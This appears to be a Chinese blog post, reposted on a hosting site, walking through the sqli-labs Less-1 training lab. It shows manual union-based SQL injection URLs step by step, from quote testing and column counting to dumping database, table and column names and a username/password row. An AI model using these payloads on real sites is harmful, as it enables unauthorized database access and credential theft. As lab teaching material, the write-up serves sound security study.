当前位置:首页 > CN2资讯 > 正文内容

sqli-labs-less-1-手工注入sqli labs

3天前CN2资讯

作者自己的VPS测试环境

1. sqli-less-1

​​http://106.54.35.126/Less-1/?id=1​​

判断是否存在sql注入

​​http://106.54.35.126/Less-1/?id=1'​​

http://106.54.35.126/Less-1/?id=1'or 1=1--+

判断目标有多少列,这里的order by是排序的作用

http://106.54.35.126/Less-1/?id=1'order by 3--+ 不报错

http://106.54.35.126/Less-1/?id=1'order by 4--+ 报错

根据上述就可以说明目标站点在使用的表里面只有3列

联合查询-union 作用就是将两个sql语句进行联合并执行,有一个要注意的点,union连接的前后两个sql语句选择的列是需要相同的,否则会报错,再说明下union all和union的区别就是增加了去重的功能

http://106.54.35.126/Less-1/?id=1'union select 1,22,24343--+

上述不管怎么select,只要保证只有3个数字位置即可,如果超过3个就会报错

如下:

http://106.54.35.126/Less-1/?id=1'union select 1,22,24343,55--+

上述查询是保证id是存在的情况下查询不报错,如果查询不存在,那么也不会报错,但是会爆出我们想要查询的内容,所以这里设置id=-1 看看

爆库

http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

获得如下信息:

Welcome    Dhakkan

Your Login name:challenges,ctftraining,information_schema,mysql,performance_schema,security,test

Your Password:3

上述的查询语句原型如下:

SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

------------------------------------------------------------------------------

爆数据库security中的表

http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

获得如下表信息:

Welcome    Dhakkan

Your Login name:emails,referers,uagents,users

Your Password:3

上述查询语句的原型如下:

SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1

-------------------------------------------------------------------------------

爆users表的列

http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

获得如下表的列

Welcome    Dhakkan

Your Login name:id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

Your Password:3

上述原型查询语句如下:

SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1

---------------------------------------------------------------------------

爆数据

http://106.54.35.126/Less-1/?id=-1'union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

获得如下数据:

Welcome    Dhakkan

Your Login name:stupid

Your Password:stupidity

上述原型查询语句如下:

SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+ LIMIT 0,1

迷茫的人生,需要不断努力,才能看清远方模糊的志向!

    你可能想看:

    扫描二维码推送至手机访问。

    版权声明:本文由皇冠云发布,如需转载请注明出处。

    本文链接:https://www.idchg.com/info/19348.html

    分享给朋友:

    “sqli-labs-less-1-手工注入sqli labs” 的相关文章

    SSH软件终极指南:安全远程登录与文件传输的便捷解决方案

    SSH软件是一种用于实现安全登录、传输文件、执行命令等功能的应用程序。它基于SSH协议,为用户提供了一种加密的通信方式,确保数据在传输过程中的安全性。无论是系统管理员、开发人员,还是普通用户,SSH软件都是日常工作中不可或缺的工具。 SSH协议简介 SSH(Secure Shell)协议是一种网络协...

    如何获取Cloudflare API Token并设置权限指南

    什么是Cloudflare API Token 在使用Cloudflare提供的各种服务时,我常常需要进行自动化管理。此时,Cloudflare API Token便成为了我的好帮手。它是一种安全凭证,专门用来访问和操作Cloudflare的多个功能。这使得我能够在编程和自动化中灵活运用Cloudf...

    VPN测评:2023年最佳VPN服务推荐及选择指南

    当我第一次接触VPN时,感觉这个概念既神秘又充满吸引力。VPN,全称为虚拟专用网络,它为用户提供了一种安全、私人上网的方式。不论是为了保护个人隐私,还是为了突破地域限制,VPN已经成为现代网上活动中不可或缺的工具。 我发现VPN有许多用途。首先,它能加密我的网络连接,让我的在线活动在网络上变得更加私...

    水牛VPS:高性能虚拟专用服务器的最佳选择与比较

    水牛城VPS,顾名思义,是在美国纽约州布法罗市托管的虚拟专用服务器。这种服务器因其独特的地理位置和优越的技术配置,吸引了众多用户,特别是需要高性能和灵活性的网站和应用程序。这类服务的定义非常简单,但其特点却非常丰富。通常来说,水牛城VPS提供了良好的网络带宽、灵活的存储选项,以及能够根据用户需求进行...

    检查自己的IP地址:全面掌握网络安全与故障排查技巧

    检查自己的IP地址的重要性 我常常感受到,了解自己的IP地址是使用互联网时不可或缺的一部分。无论是日常上网还是进行复杂的网络设置,IP地址都扮演着关键角色。所以,搞清楚自己的IP地址,真的非常重要。 那么,什么是IP地址呢?简单来说,IP地址是分配给每台连接到互联网设备的唯一标识符。它就像我们的家庭...

    SSH Key Dmit 教程:轻松配置与使用GitHub的安全密钥

    SSH密钥是一种用于远程安全访问服务器的强大工具。创建和配置SSH密钥的过程并不复杂。阅读这篇教程后,相信你会觉得非常容易。 制作密钥对 首先,登录到需要通过SSH密钥进行远程登录的服务器。我们可能会使用的命令是 ssh-keygen,它能帮助我们生成密钥对。执行命令后,系统会提示你输入密钥保存的文...